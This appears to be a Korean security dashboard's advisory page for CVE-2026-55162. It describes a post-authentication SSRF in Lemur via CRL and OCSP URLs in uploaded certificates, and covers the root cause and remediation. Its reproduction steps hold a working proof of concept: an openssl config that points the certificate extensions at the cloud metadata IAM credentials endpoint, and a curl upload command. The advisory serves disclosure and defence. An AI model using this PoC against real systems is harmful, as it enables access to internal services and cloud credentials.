Kestrel
대시보드로 돌아가기
CVE-2026-55162MEDIUM· 6.3GHSA대응게시일: 2026. 06. 25.수정일: 2026. 06. 25.

Lemur: Crafted CRL/OCSP URLs in uploaded certificates lead to post-authentication SSRF

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.3medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위불변
영향
기밀성 영향낮음
무결성 영향낮음
가용성 영향낮음
버전별 점수
CVSS 3.16.3MODERATE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

상세 설명

Summary

When verifying an uploaded certificate, lemur/certificates/verify.py extracts the CRL Distribution Point URL and the OCSP responder URL directly from the certificate's extensions and issues outbound requests to those URLs without scheme restriction or destination allow-listing. An authenticated user holding the operator role (required by StrictRolePermission on POST /certificates/upload) can craft a certificate whose extensions point at internal services - instance metadata endpoints, internal Kubernetes API servers, RFC1918 hosts, link-local addresses - and cause the Lemur host to issue requests against those destinations during verification.

Root Cause

lemur/certificates/verify.py, crl_verify:

bash
1point = p.full_name[0].value # URL from CDP extension of uploaded cert
2...
3response = requests.get(point, timeout=(3.05, 6)) # no allow-list, no destination filter

lemur/certificates/verify.py, ocsp_verify:

bash
1command = ["openssl", "x509", "-noout", "-ocsp_uri", "-in", cert_path]
2p1 = subprocess.Popen(command, stdout=subprocess.PIPE, ...)
3url, _ = p1.communicate()
4p2 = subprocess.Popen(
5 ["openssl", "ocsp", "-issuer", issuer_chain_path, "-cert", cert_path,
6 "-url", url.strip()], # attacker-controlled URL
7 ...
8)

In both code paths the URL flows from attacker-controlled certificate-extension content to a network sink with no validation against an allow-list of hostnames, no scheme restriction beyond rejecting LDAP via InvalidSchema, and no filtering of RFC1918 / link-local (169.254/16) / loopback / IPv6 ULA destinations.

Affected Endpoints

MethodPathSource
POST/api/1/certificates/uploadverify_stringcrl_verify / ocsp_verify

The bug additionally surfaces anywhere verify_string is invoked on attacker-influenced certificate content (sync paths, source plugin re-validation, etc.). The upload endpoint is the most direct trigger.

Impact

An operator-role attacker can:

  • Probe the Lemur host's internal network through outbound CRL/OCSP fetches and infer topology from response timings and error messages.
  • On EC2 instances without IMDSv2 enforcement, cause requests to http://169.254.169.254/ and influence downstream behavior of components that parse the response.
  • Pin attacker-controlled CRLs into the unbounded module-level crl_cache dict (see Advisory 4c) for permanent cache poisoning - once cached, a poisoned CRL is served to every subsequent verification for the same URL.
    The operator-role precondition reduces severity from what an unauthenticated SSRF would warrant, but operators are still meaningfully less trusted than the host's network position. PKI workflows also routinely process third-party certificates whose extensions are not directly controlled by the operator, broadening the trigger surface beyond purely-malicious operators.

Remediation

Filter the URL before it reaches the network sink. Either:

  1. Maintain an explicit allow-list of CRL/OCSP hostnames in configuration (e.g., LEMUR_TRUSTED_CRL_HOSTS and LEMUR_TRUSTED_OCSP_HOSTS) and reject anything outside the list, or
  2. Use an SSRF-safe HTTP client wrapper that resolves the destination, rejects RFC1918 / link-local / loopback / IPv6 ULA addresses before connecting, and pins the resolved IP to defeat DNS rebinding.
    For OCSP, route the parsed URL through the same wrapper before passing it as -url to openssl ocsp.

Additionally, bound crl_cache (see Advisory 4c) to prevent the SSRF vector from amplifying into a persistent cache-poisoning condition.

Steps to Reproduce

  1. Set up Lemur on an EC2 instance with IMDSv1 enabled (or any host with reachable RFC1918 services). Create an admin user and an operator-role user eve.

  2. Generate a self-signed certificate whose extensions point at internal services:

    text
    1cat > openssl.cnf <<EOF
    2[req]
    3distinguished_name = req_distinguished_name
    4req_extensions = v3_ca
    5prompt = no
    6
    7[req_distinguished_name]
    8CN = ssrf-poc.example
    9
    10[v3_ca]
    11crlDistributionPoints = URI:http://169.254.169.254/latest/meta-data/iam/security-credentials/
    12authorityInfoAccess = OCSP;URI:http://169.254.169.254/latest/meta-data/
    13EOF
    14
    15openssl req -x509 -newkey rsa:2048 -keyout ssrf.key -out ssrf.crt \
    16 -days 365 -nodes -config openssl.cnf -extensions v3_ca
  3. On the Lemur host, start a packet capture filter for the target address before submitting the cert:

    text
    1sudo tcpdump -nni any host 169.254.169.254
  4. As eve, upload the malicious certificate:

    bash
    1BODY=$(cat ssrf.crt | sed ':a;N;$!ba;s/\n/\\n/g')
    2curl -X POST https://lemur.local/api/1/certificates/upload \
    3 -H "Authorization: Bearer <eve_jwt>" \
    4 -H "Content-Type: application/json" \
    5 -d "{
    6 \"name\": \"ssrf-poc\",
    7 \"body\": \"$BODY\",
    8 \"chain\": \"\",
    9 \"private_key\": \"\",
    10 \"owner\": \"eve@example.com\"
    11 }"
  5. Observe the outbound request to 169.254.169.254 in the tcpdump output. The request originates from the Lemur process during verify_string processing of the uploaded cert. The attacker has successfully induced a server-side request to an internal address of their choosing.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.